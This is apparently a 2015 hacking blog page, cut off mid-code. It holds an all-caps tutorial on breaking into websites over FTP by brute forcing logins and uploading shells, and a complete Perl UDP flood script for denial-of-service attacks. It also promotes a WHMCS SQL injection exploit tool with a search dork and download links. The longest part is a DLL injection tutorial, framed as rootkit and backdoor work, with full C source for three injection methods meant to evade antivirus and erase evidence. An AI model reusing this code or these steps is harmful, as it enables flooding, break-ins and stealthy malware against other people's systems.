Live Ddos View

Live DDoS Attack Map | Apakau

Live DDoS Attack Map

This map is the fruit of collaboration between Google Ideas and Arbor Networks in an effort to raise awareness about distributed denial of service attacks in the world everyday.

Exploring the Data

The Digital Attack Map displays global DDoS activity on any given day. Attacks are displayed as dotted lines, scaled to size, and placed according to the source and destination countries of the attack traffic when known. Some features include:

  • Use the histogram at the bottom of the map to explore historical data.
  • Select a country to view DDoS activity to or from that country.
  • Use the color option to view attacks by class, duration, or source/destination port.
  • Use the news section to find online reports of attack activity from a specified time.
  • View the gallery to explore some examples of days with notable DDoS attacks.

Sign Up

Thursday, January 29, 2015

HACK A SITE THROUGH FTP [CRYPTING]

HELLO THERE , TODAY I AM  POSTING A TUTORIAL ON WEB-PENETRATION. I WILL BE EXPLAINING HOW TO CRACK AND HACK AN FTP SERVER.

WHAT IS “FTP” ?

FTP STANDS FOR FILE TRANSFER PROTOCOL. AS YOU CAN SEE BY THE NAME, YOU CAN MANAGE FILES THROUGH THE FTP. THE FTP PORT, IS VERY-WELL KNOWN, BUT IS RARELY OPEN ON BIG WEBSITES. THE FTP PORT IS PORT 21. THERE ARE MULTIPLE WAYS TO CONNECT TO AN FTP SERVER/PORT, ESPECIALLY THANKS TO TECHNOLOGY, SUCH AS FILEZILLA.

THERE ARE OF COURSE OTHER WAYS, WHICH ARE THE MANUAL WAYS. WHICH IS CONNECTING TO THE FTP THROUGH A DOS COMMAND LINE. YOU CAN DO THIS FROM UBUNTU, BACKTRACK, (ALL LINUX), AND ALSO WINDOWS. I’VE NEVER TRIED IT ON MAC, BUT I’M SURE IT’S POSSIBLE.

WHEN YOU HAVE ACCESS TO THE FTP, YOU’RE THE KING OF THE WEBSITE. MOSTLY BECAUSE YOU CAN MANAGE ALL OF THE FILES AND DIRECTORIES ON THE SITE. SO YOU CAN UPLOAD AND DELETE. IF YOU UPLOAD YOUR PHP OR ASP SHELL, YOU COULD ROOT THE SERVER, AND POSSIBLY HACK OTHER SITES.
HOW DO I KNOW IF THE FTP PORT IS OPEN?

WELL, YOU DON’T KNOW UNTIL YOU SCAN. THE MOST POPULAR PORT SCANNER WOULD BE NMAP. YOU CAN DOWNLOAD NMAP AT  WWW.NMAP.ORG

HOW DO I CONNECT TO FTP ?

LIKE I SAID, THERE ARE A COUPLE OPTIONS. PERSONALLY, I WOULD CHOOSE THE COMMAND LINE FIRST, BECAUSE YOU LEARN FROM IT. IN A PROGRAM LIKE FILEZILLA, WITH ALL THE FANCY SHIT, IT’S GOT IT ALL. EASY TO WORK WITH, ETC. BUT THE METHOD WE WILL BE USING TO CONNECT, IS WITH “TELNET”.

TELNET IS A NETWORK PROTOCOL THAT YOU CAN USE TO CONNECT TO CERTAIN PORTS ON HOSTS. YOU WOULD EITHER NEED THE WEBSITE NAME, OR IP TO CONNECT. YOU WOULD ALSO HAVE TO MAKE SURE THE PORT THAT YOU WANT TO CONNECT TO, IS OPEN. TO DO THAT, WE NEED A PROGRAM CALLED “NMAP”. NMAP IS A FREE PORT-SCANNER TOOL, IT IS VERY USEFUL TO MANY HACKERS FOR MULTIPLE REASONS.
TO CONNECT TO FTP ON A SITE, AN IP, OR A COMPUTER, YOU NEED TO HAVE TELNET INSTALLED. TELNET IS ALREADY INSTALLED ON ALL WINDOWS AND LINUX OPERATING SYSTEMS. BUT IN WINDOWS 7 & VISTA, YOU HAVE TO CHANGE SOME SETTINGS.

THIS CAN BE DONE VERY EASILY, SIMPLY GO TO CONTROL PANEL ==> PROGRAMS AND FEATURES ==> TURN WINDOWS FEATURES ON OR OFF ==> CHECK OFF THE TELNET CLIENT.

NOW WE CAN SUCCESSFULLY CONNECT TO A PORT THROUGH TELNET.

SO OPEN CMD (COMMAND PROMPT(START => RUN => CMD)). NOW IN THE COMMAND PROMPT, TYPE:
  
CODE:
TELNET

AND HIT ENTER. NOW WE’RE ON TELNET, SO WE CAN CONNECT TO A PORT. IF YOU WOULD LIKE TO GET FAMILIAR WITH THE COMMANDS, SIMPLY TYPE IN “HELP” IN THE COMMAND PROMPT.

NOW, LET’S CONNECT TO OUR SITE (FIRST MAKE SURE THE FTP PORT IS OPEN (PORT 21). NOW, LET’S TYPE IN:
NOW IT SHOULD DISPLAY SOME INFORMATION ON THE FTP, WE CAN USE THAT INFORMATION AGAINST THE SITE, BY SIMPLY GOOGLING SOME EXPLOITS FOR IT.
EXAMPLE: “PROFTPD 1.3.3C EXPLOIT”.

HOW DO I HACK A SITE THROUGH FTP ?

THERE ARE A COUPLE WAYS TO DO THIS, MY FAVORITES ARE LOOKING FOR EXPLOITS IN THE FTP CLIENT AND VERSION, AND BRUTEFORCING/DICTIONARY ATTACK. THE FIRST METHOD IS VERY SIMPLE, JUST READ THE ABOVE SECTION TO FIGURE OUT HOW TO DO IT.

BRUTEFORCING IS WHEN YOU ATTACK A TARGET BY USING SOMTIMES MILLIONS OF PASSWORDS. BRUTEFORCE USES RANDOM COMBINATIONS, WHEREAS A DICTIONARY ATTACK USES WORDS. THE DICTIONARY ATTACK GOES MUCH FASTER, BUT WILL NOT ALWAYS WORK. I ONLY BRUTEFORCE WHEN I HAVE NO OTHER CHOICE.

THE SECOND WAY, IS STILL PRETTY EASY, BUT REQUIRES A LITTLE BIT MORE BRAIN :P . IF YOU WANT TO DO IT MORE “ADVANCED-LY” THEN DOWNLOAD “HYDRA”. HYDRA IS A PROGRAM THAT WILL PERFORM A DICTIONARY ATTACK ON ANY OPEN PORT ON YOUR TARGET SITE, OR IP.

THE EASY WAY TO DO IT, IS BY DOWNLOADING “BRUTUS”. IT DOES THE SAME THING, BUT IT’S EASIER TO NAVIGATE AND USE. YOU CAN GET BOTH PROGRAMS BY GOOGLING THEM. IF YOU CAN’T FIND ANY, PM ME AND I’LL SEND YOU A GOOD LINK.

IF YOU ALREADY HAVE THE CREDNTIALS, YOU CAN LOGIN TO THE FTP OVER TELNET, BY DOING THE FOLLOWING:

CODE:
o http://www.site.com 21
-
PASV
-
USER -USERNAMEHERE-
PASS -PASSWORDHERE-
EPILOGUE

THIS IS A TUTORIAL FOR BEGINNERS, BUT IF I MISSED SOMETHING PLEASE NOTIFY ME BY PM OR BY REPLYING IN THE COMMENT SECTION. THIS TUTORIAL DOES SEEM VERY BRIEF TO ME, BUT I CAN’T EXPLAIN EVERY EXPLOIT THERE IS FOR FTP, OTHERWISE THE TUTORIAL WOULD BE TOO LONG AND BORING.

IF YOU REQUIRE ANY ASSISTANCE, BE SURE TO CONTACT ME BY PM. I ALWAYS READ MY PMS, AND I 90% OF THE TIME REPLY TO ALL OF THEM.

I REALLY HOPE THIS TUTORIAL HELPED, BUT IF IT DIDN’T, PLEASE TELL ME WHAT I DID WRONG ON THIS TUTORIAL, SO THAT I CAN FIX IT FOR YOU. :)


Basic DDOS

Title: Basic DDOS by: Ghost King
Usage: perl /path/path/path/path/flood.pl <ip> <port> <size> <time>
Example: perl /path/path/path/path/flood.pl 178.21.18.143 80 1020 100
Install: Make sure you have perl installed on your computer.
Download: Make a file called: "flood.pl" and put the following script in it:



Yamagata Gennosuke



Code: [Select]
#!/usr/bin/perl START SCRIPT

use Socket;
use strict;

if ($#ARGV != 3) {
  print "#################################################\n";
  print "# flood.pl <ip> <port> <size> <time>            #\n";
  print "#                                               #\n";
  print "# ip=www.example.com or 93.184.216.119          #\n";
  print "# port=0: use random ports (default: 80)        #\n"; 
  print "# size=0: use random size between 64 and 1024   #\n";
  print "# time=0: continuous flood (time: seconds)      #\n"; 
  print "#################################################\n";
  exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


print "#################################################\n";
print "#Basic DDOS by Ghost King                        \n";
print "#Flooding: $ip                                   \n";
print "#Port: $port                                     \n";
print "#Size: $size                                     \n";
print "#Time: $time                                     \n";
print "#################################################\n";
print "Stop flooding with Ctrl-C\n";

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","saf3e368wumu7repa4uxa2rucHaphubeGamu9R3373af8Us3eTHUgepRAfAS2c6CHAyegURepUbre94wRAwruS2uhU8UXasp7spasw7sw8h7wapr5spabekumu8ast8StRadusASacu6a6e5efrAzeWucH5cumuswaraca7hAbrewrecujetrafefadrawruW4ayAjU37sPUseBr4cRuPhacrUtrf0azrrQlLd1xdSjjtdwXfjyXArkExrVxVlulxssmr0u0lRscLAqjkZB43ajPRmAH4JQ6T1SOZPFmndbEi4IUOIuUmPCXI044f73uGIeJHs8lh36KpJausXqykL2idPx1j120Rra2DI1kmGgde5LI4TJMuQvrotBR3Fli0g1uwt74ALKfRzHYZJR0wkqNncUY178LcbTFtx5n7MF4zX3P4Z3mUVkAebkXqDv6EETKTNBes9kW2QBEBLeKcBH4cUAQ8Y30mdGozVRNJq3wtDMmgtzCibqXEEp3cZATTOMqIDxn3t5HYdspEofPneXpPTUE0TBN8oRAp4DjSlhfDAVmfNgbdSbTHWT7Y7gVi6kgrNXKCM64V4kOGvesVr0SZU3k83r6qAr3w4d26kurU9eBRa53cEtRaQaCHEvacu4PETRaf3yepHAk9FAgU2at8GEMEZAwUjaDesTufu2r3DaPhedR7quCru7reketc8atacAStuGeFruNuTHaWuspabr6drARa4r4cApRewuFRaD3qAXAsPeMAChudRUWxuq73R5dra8epre4tasp8craq677wru5asuq3tradede8rethuSwAfespastuduypUt2fudra5utanewrat83rucruyuje6aphuprUWawrawr4tha922HeSpU8acacu5hastuprecevasteberepagas6ejuje2heswugukerebrajeVeswerajAdagecah3phE9EsutaFrU6erathu2u6utraseCrEjehaChuphEchepeswutrezu86pret6afa"), 0, pack_sockaddr_in($pport, $iaddr));}

#!/usr/bin/perl END SCRIPT

Realtime Proxy Check - Use your bandwidth and check proxies

Realtime Proxy Check is to be used in computers, smartphones and tablets. Basically what it does is check a few servers and report back to the user. The user then has a notification of what proxies can be use in the network.

Image

Download:
http://uploaded.net/file/8pcqseyg

Yamagata Gennosuke

Tool for Exploiter WHMCS 5.2.8 - SQL Injection Vulnerability by GOTHIE

# Support PROXY (To Google does not block your IP) 
# Do not duplicate Adds Domains List to test the exploit 
# MultThreads sending and Exploit test, speeding up the process! 
# Check if the Security Level allows the user to read files load_file (0x2f6574632f706173737764)

Watch The Video


# Exploit Title: WHMCS 5.2.8 SQL Injection
# Google Dork: "powered by WHMCS"
# Date: 10/18/2013
# Exploit Author: g00n ( Xploiter.net )
# Vendor Homepage: http://www.whmcs.com/
# Software Link: http://www.whmcs.com/
# Version: 5.2.8

More details http://www.exploit-db.com/exploits/29065/

Download XPL https://drive.google.com/file/d/0B3z...it?usp=sharing

Program compiled in Delphi 2010
https://www.virustotal.com/pt/file/28517.../analysis/
SHA256: 2851742556aa874d32b52bb24859a7117a427b540d25f8456f 7420cc5ad5fdc5
Nome do arquivo: WHMCS-SQLI-5.2.8-xpl.exe
Taxa de detecção: 1 / 51
Data da análise: 2014-04-21 19:20:44 UTC ( 2 horas, 43 minutos atrás )
false positive : AntiVir TR/Fraud.Gen7


http://gothie27.blogspot.com.br/

by TGA/Gothie & 

Yamagata Gennosuke

( Private ) News Exposed ~YamaGata Darkode - Ode to Lizard Squad (The Rise and Fall of a Private Community)

For the 10 of you who don't know, darkode was on of the most active English-speaking "underground" cybercrime boards. The forum was started around 2009 by a coder named "Iserdo" and gained popularity off the back of Iserdo's bot, "Buterfly bot" (AKA Mariposa), which was sold there.

In The Beginning

With Iserdo as admin, the main focus of darkode was selling and supporting his products; however, the success of butterfly bot lead to a rapid growth in user-base and quickly darkode became a popular malware marketplace, much sought after by English-speaking cybercriminals. As a result of growing popularity, the forum was turned invite-only and existing members were given a number of invites, which they could give out to whomever they chose. Of course the invite-only model just made membership more sought after and gained darkode a reputation as an elite underground forum. At some point around 2010, Iserdo left and the forum was handed over to Crim (the coder of CrimePack which was one of the early exploit kits), who also gave admin to fubar (the seller of the infamous NgrBot).

Access Refines

In march 2012 a new access model was announced, the community became layered with "fresh fish" (level 0) as the basic membership, and "Level 1" (Trusted) as the upgraded membership. For fresh fish access, an applicant would need to be invited by another member, followed by completing an interview with an admin, In order to get level 1 access, existing members would need to prove themselves to the community and if given access, would be able to view/use the level 1 marketplace, which featured more exclusive products. There was also a special "Buyer" level created, which would only allow the user access to the marketplace and not the discussion or coding sections. 

...................
...................

Lizard Squad

Even I can't explain how darkode got form where it was to here, but we can assume it was for publicity. Around the time LizardSquad became well known by DDoSing just about anything and everything, they decided to follow the same route as lulzsec(setting up a public IRC channel on freenode), unfortunately freenode was having none of this and and banned them, along with everyone in their channel, a few days later. The same week, LizardSquad had relocated to the darkode IRC, which the darkode admin appears to be fine with, he even allowed LizardSquad to spam the darkode url all-over the internet, something that was previously forbidden.


Of course, sharing an IRC only implies the darkode admin tolerated LizardSquad but may not have worked with them. I had noticed that lizardpatrol.com (the official LizardSquad website) was hidden behind cloudflare, so on a hunch I send a HTTP request to the darkode server, with the hostname set to "lizardpatrol.com", and what would you know!

Yamagata Gennosuke


Norse - IPViking Live

Wednesday, January 28, 2015

API Hooking / Rootkits [ The ultimate backdoor! Virtually undetectable access to the systems they exploit... ]

Dll Injection Tutorial


Index

The CreateRemoteThread method
The SetWindowsHookEx method
The code cave method
Appendix A - Methods of obtaining a process ID
Appendix B - Methods of obtaining a thread ID
Appendix C - Complete CreateRemoteThread example source code
Appendix D - Complete SetWindowsHookEx example source code
Appendix E - Complete code cave example source code


Introduction


In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a process.
Dll injection is incredibly useful for TONS of stuff(game hacking, function hooking, code patching, keygenning, unpacking, etc..).
Though there are scattered tutorials on these techniques available throughout the web, I have yet to see any complete tutorials detailing
all of them(there may even be more out there than I have here, of course), and comparing their respective strength's and weakness's.
This is precisely what i'll attempt to do for you in this paper. You are free to reproduce or copy this paper, so long as proper
credit is given and you don't modify it without speaking to me first.


The CreateRemoteThread method


I've used this in tons of stuff, and I only recently realized that a lot of people have never seen it, or know how to do it.
I can't take credit for thinking it up...I got it from an article on codeproject, but it's a neat trick that I think more
people should know how to use.

The trick is simple, and elegant. The windows API provides us with a function called CreateRemoteThread(). This allows you
to start a thread in another process. For our purposes, i'll assume you know how threading works, and how to use functions like
CreateThread(if not, you can go here ). The main disadvantage of this method is that it will work only on windows NT and above.
To prevent it from crashing, you should use this function to check to make sure you're on an NT-based system(thanks to CatID for
pointing this out):
Code:

bool IsWindowsNT()
{
   // check current version of Windows
   DWORD version = GetVersion();
   // parse return
   DWORD majorVersion = (DWORD)(LOBYTE(LOWORD(version)));
   DWORD minorVersion = (DWORD)(HIBYTE(LOWORD(version)));
   return (version < 0x80000000);
}



The MSDN definition for CreateRemoteThread is as follows:
Code:

HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize,
                           LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags,
                           LPDWORD lpThreadId );


So, it's essentially CreateThread, with an hProcess argument, so that we can tell it in which process to create the new thread.
Now, normally we would want to start the thread executing on some internal function of the process that we are interacting with.
However, to inject a dll, we have to do something a little bit different.
Code:

BOOL InjectDLL(DWORD ProcessID)
{
   HANDLE Proc;
   char buf[50]={0};
   LPVOID RemoteString, LoadLibAddy;

   if(!ProcessID)
      return false;

   Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID);

   if(!Proc)
   {
      sprintf(buf, "OpenProcess() failed: %d", GetLastError());
      MessageBox(NULL, buf, "Loader", NULL);
      return false;
   }

   LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

   RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(DLL_NAME), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
   WriteProcessMemory(Proc, (LPVOID)RemoteString, DLL_NAME,strlen(DLL_NAME), NULL);
   CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL);   
   
   CloseHandle(Proc);

   return true;
}


This code, calls CreateRemoteThread() with a lpStartAddress of LoadLibrary(). So, it starts a new thread in the remote process
and executes the LoadLibrary() function. Luckily for us, this function takes only one argument, the name of the dll to load. We can
pass this in the arg field of CreateRemoteThread(). However, there is a minor dilemma. Since this thread will not be executing in
our address space, it won't be able to refer to strings(such as the name of the dll) that are in our address space. So, before calling
CreateRemoteThread(), we have to allocate space in the other process, using VirtualAllocEx(), and write our string there. Finally,
we pass the pointer to the string inside the remote process in the single arg field of CreateRemoteThread(), and voila...Our dll is
now loaded and running smoothly within the remote process. This is the generic loader program I use whenever I need to load a dll.




The SetWindowsHookEx method


The SetWindowsHookEx method is a little bit more intrusive than the first, and creates more of a commotion in the injected
process, which we normally don't want. However, it is a little bit easier to use than the first, and does have it's own advantages
(like being able to inject into every process on the system in one shot). The SetWindowsHookEx() function is designed to allow you
to "hook" windows messages for a given thread. This requires that you inject a dll into that process's address space, so
SetWindowsHookEx() handles all that for us. The dll must have a function for the hook that it created though, otherwise it will
crash.
Code:

HHOOK SetWindowsHookEx(     

    int idHook,
    HOOKPROC lpfn,
    HINSTANCE hMod,
    DWORD dwThreadId
);


idHook is just that, the ID of the message that we want to hook. There are many of them(for a complete list, go
here ), however we'll want to use one that's as unintrusive as possible, and has the least likelihood of causing alarm bells to
go off in any AV software(SetWindowsHookEx is the staple of all ring3 keyloggers). The WH_CBT message seems innocuous enough.

Quote:

WH_CBT
Installs a hook procedure that receives notifications useful to a computer-based training (CBT) application. For more information,
see the CBTProc hook procedure.

--MSDN


So, we'll need to create a placebo CBT hook proc in our dll, so that when the hook is called, we can handle it properly.
Code:

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    return CallNextHookEx(0, nCode, wParam, lParam);
};


All we're doing is calling the next hook in the chain of hooks that exist for this message. Getting back to the SetWindowsHookEx()
function, the next parameter we see is lpfn. lpfn is exactly as it sounds "long pointer to function". That's a pointer to our CBT
hook proc function. So, to get this, we'll have to either hardcode the address, or load the dll first ourselves. Hardcoding anything
is a bad idea, so we'll load the dll using LoadLibrary(), and use GetProcAddress() to get the address of our function.
Code:

HMODULE hDll;
unsigned long cbtProcAddr;

hDll        = LoadLibrary("injected.dll");
cbtProcAddr = GetProcAddress(hDll, "CBTProc");


Now, in cbtProcAddr we have the address of our function. Parameter 3, of SetWindowsHookEx() is a handle to our dll, we've
already obtained this in the process of getting the address of CBTProc(hDll is a handle to our dll, returned by LoadLibrary). Now,
there is only one parameter left in the SetWindowsHookEx() function, the dwThreadId parameter. If you want to inject your dll into
every process on the system(useful for global function hooks, keyloggers, trojans, rootkits, etc..) you can simply specify 0 for
this parameter. If you want to target a specific process, you'll need to get the ID of one of it's threads. There are many ways
of doing this, and i'll try to enumerate as many as I can think of in Appendix B. So,
to put it all together into one neat little function:

Code:

BOOL InjectDll(char *dllName)
{
    HMODULE hDll;
    unsigned long cbtProcAddr;

    hDll        = LoadLibrary(dllName);
    cbtProcAddr = GetProcAddress(hDll, "CBTProc");

    SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, GetTargetThreadIdFromWindow("targetApp"));
   
    return TRUE;
}



The code cave method

Instead of exploiting a windows API function to force the process to load our Dll, this time we'll allocate a little chunk
memory inside the target application, and inject a little stub that loads our dll. The advantage of this approach is that it
will work on any version of windows, and it's also the least detectable of any of the methods mentioned thus far. Our stub will
look like this:
Code:

__declspec(naked) loadDll(void)
{
   _asm{
      //   Placeholder for the return address
      push 0xDEADBEEF

      //   Save the flags and registers
      pushfd
      pushad

      //   Placeholder for the string address and LoadLibrary
      push 0xDEADBEEF
      mov eax, 0xDEADBEEF

      //   Call LoadLibrary with the string parameter
      call eax

      //   Restore the registers and flags
      popad
      popfd
      
      //   Return control to the hijacked thread
      ret
   }
}


0xDEADBEEF is just there to mark addresses that we can't know beforehand, and have to patch-in at runtime. Ok, let's make a list
of the things that we need to do to make this work:


    - Allocate space for the stub
    - Allocate space for the name of the dll
    - Suspend the main thread of our target
    - Get the address of the next instruction to be executed(need this for the next step)
    - Patch the proper address to return to in the stub
    - Patch the address of the dll name
    - Patch the address of LoadLibrary
    - Set the address of the next instruction to be executed in our target's thread, to the address of the beginning of our stub
    - Resume the target's thread



To allocate space inside the target, we'll use VirtualAllocEx(). We'll need to open a handle to the process
with the VM_OPERATION privelege specified, in order to do this. For our dllName string, we'll only need read and write priveleges.
For the stub however, we'll need read, write, and execute priveleges. Then we'll write in our dllName string, so that we can reference
it from the stub once it's inserted.
Code:

void *dllString, *stub;
unsigned long wowID;
HANDLE hProcess
   
//See Appendix A for
//this function
wowID    = GetTargetProcessIdFromProcname(PROC_NAME);      

hProcess = OpenProcess((PROCESS_VM_WRITE | PROCESS_VM_OPERATION), false, wowID);

dllString = VirtualAllocEx(hProcess, NULL, (strlen(DLL_NAME) + 1), MEM_COMMIT, PAGE_READWRITE);
stub      = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, dllString, DLL_NAME, strlen(DLL_NAME), NULL);


To accomplish our next few tasks, we'll need a handle to one of our target's threads. We can use the functions from Appendix B

to get the ID of one such thread, and then use the OpenThread API to get a handle. We'll need to be able to get and set context, and
also suspend and resume the thread.
Code:

unsigned long threadID;
HANDLE hThread;

threadID = GetTargetThreadIdFromProcname(PROC_NAME);
hThread   = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);


Now, we need to pause the thread in order to get it's "context". The context of a thread is the current state of all of it's
registers, as well as other peripheral information. However, we're mostly concerned with the EIP register, which points to the
next instruction to be executed. So, if we don't suspend the thread before retrieving its context information, it'll continue
executing and by the time we get the information, it'll be invalid. Once we've paused the thread, we'll retrieve it's context
information using the GetThreadContext() function. We'll grab the value
of the current next instruction to be executed, so that we know where our stub should return to. Then it's just a matter of
patching up the stub to have all of the proper pointers, and forcing the thread to execute it:
Code:

SuspendThread(hThread);

ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
oldIP   = ctx.Eip;

//Set the EIP of the context to the address of our stub
ctx.Eip = (DWORD)stub;
ctx.ContextFlags = CONTEXT_CONTROL;

//Right now loadDll is code, which isn't writable.  We need
//to change that.
VirtualProtect(loadDll, stubLen, PAGE_EXECUTE_READWRITE, &oldprot);   

//Patch the first push instruction
memcpy((void *)((unsigned long)loadDll + 1), &oldIP, 4);   
//Patch the 2nd push instruction
memcpy((void *)((unsigned long)loadDll + 8), &dllString, 4);   
//Patch the mov eax, 0xDEADBEEF to mov eax, LoadLibrary
memcpy((void *)((unsigned long)loadDll + 13), &loadLibAddy, 4);

WriteProcessMemory(hProcess, stub, loadDll, stubLen, NULL);         //Write the stub into the target
//Set the new context of the target's thread
SetThreadContext(hThread, &ctx);
//Let the target thread continue execution, starting at our stub
ResumeThread(hThread);



All that's left now, is to cleanup the evidence. Before we do that though, we should pause the injector for a bit, to be sure
that the target has time to execute our stub(don't want any nasty race conditions). We'll use Sleep() to pause for 8 seconds before
unmapping the memory that we allocated, and exiting the injector.
Code:

Sleep(8000);
VirtualFreeEx(hProcess, dllString, strlen(DLL_NAME), MEM_DECOMMIT);
VirtualFreeEx(hProcess, stub, stubLen, MEM_DECOMMIT);
CloseHandle(hProcess);
CloseHandle(hThread);


This method should work on any version of windows, and should be the least likely to trigger any A/V alarms or cause the program
to malfunction. If you can understand it and implement it properly, this is definitely the best of the three methods.




Appendix A - Methods of obtaining a process ID

If the process you're targeting has a window, you can use the FindWindow function, in conjunction with GetWindowThreadProcessId,
as shown here:

Code:

unsigned long GetTargetProcessIdFromWindow(char *className, char *windowName)
{
    unsigned long procID;
    HWND targetWnd;

    targetWnd = FindWindow(className, windowName);
    GetWindowThreadProcessId(targetWnd, &procId);
   
    return procID;
}


If you only know the name of the executable file or it just doesn't have a window:
Code:

unsigned long GetTargetProcessIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot;
   BOOL retval, ProcFound = false;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return false;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);

    retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = true;
         break;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   return pe.th32ProcessID;
}




Appendix B - Methods of obtaining a thread ID

If the process you're targeting has a window, you can use the FindWindow function, in conjunction with GetWindowThreadProcessId
and the toolhelp API, as shown here:

Code:

unsigned long GetTargetThreadIdFromWindow(char *className, char *windowName)
{
    HWND targetWnd;
    HANDLE hProcess
    unsigned long processId, pTID, threadID;

    targetWnd = FindWindow(className, windowName);
    GetWindowThreadProcessId(targetWnd, &processId);


    _asm {
   mov eax, fs:[0x18]
   add eax, 36
   mov [pTID], eax
    }

    hProcess = OpenProcess(PROCESS_VM_READ, false, processID);
    ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL);
    CloseHandle(hProcess);

    return threadID;
}


If you only know the name of the executable of your target, then you can use this code to locate it:
Code:

unsigned long GetTargetThreadIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot, hProcess;
   BOOL retval, ProcFound = false;
   unsigned long pTID, threadID;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return false;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);

    retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = true;
         break;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   CloseHandle(thSnapshot);
   
   _asm {
      mov eax, fs:[0x18]
      add eax, 36
      mov [pTID], eax
   }

   hProcess = OpenProcess(PROCESS_VM_READ, false, pe.th32ProcessID);
   ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL);
   CloseHandle(hProcess);

   return threadID;
}



Appendix C - CreateRemoteThread complete example source code
Code:

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <shlwapi.h>

#define PROCESS_NAME "target.exe"
#define DLL_NAME "injected.dll"


//I could just use PROCESS_ALL_ACCESS but it's always best to use the absolute bare minimum of priveleges, so that your code works in as
//many circumstances as possible.
#define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ)
 
BOOL WriteProcessBYTES(HANDLE hProcess,LPVOID lpBaseAddress,LPCVOID lpBuffer,SIZE_T nSize);

BOOL LoadDll(char *procName, char *dllName);
BOOL InjectDLL(DWORD ProcessID, char *dllName);
unsigned long GetTargetProcessIdFromProcname(char *procName);

bool IsWindowsNT()
{
   // check current version of Windows
   DWORD version = GetVersion();
   // parse return
   DWORD majorVersion = (DWORD)(LOBYTE(LOWORD(version)));
   DWORD minorVersion = (DWORD)(HIBYTE(LOWORD(version)));
   return (version < 0x80000000);
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
    if(IsWindowsNT())
       LoadDll(PROCESS_NAME, DLL_NAME);
    else
   MessageBox(0, "Your system does not support this method", "Error!", 0);

    return 0;
}


BOOL LoadDll(char *procName, char *dllName)
{
   DWORD ProcID = 0;

   ProcID = GetProcID(procName);

   if(!(InjectDLL(ProcID, dllName)))
      MessageBox(NULL, "Process located, but injection failed", "Loader", NULL);
   
   return true;
}

BOOL InjectDLL(DWORD ProcessID, char *dllName)
{
   HANDLE Proc;
   char buf[50]={0};
   LPVOID RemoteString, LoadLibAddy;

   if(!ProcessID)
      return false;

   Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID);

   if(!Proc)
   {
      sprintf(buf, "OpenProcess() failed: %d", GetLastError());
      MessageBox(NULL, buf, "Loader", NULL);
      return false;
   }

   LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

   RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(DLL_NAME), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
   WriteProcessMemory(Proc, (LPVOID)RemoteString, dllName, strlen(dllName), NULL);
        CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL);   
   
   CloseHandle(Proc);

   return true;
}

unsigned long GetTargetProcessIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot;
   BOOL retval, ProcFound = false;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return false;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);

   retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
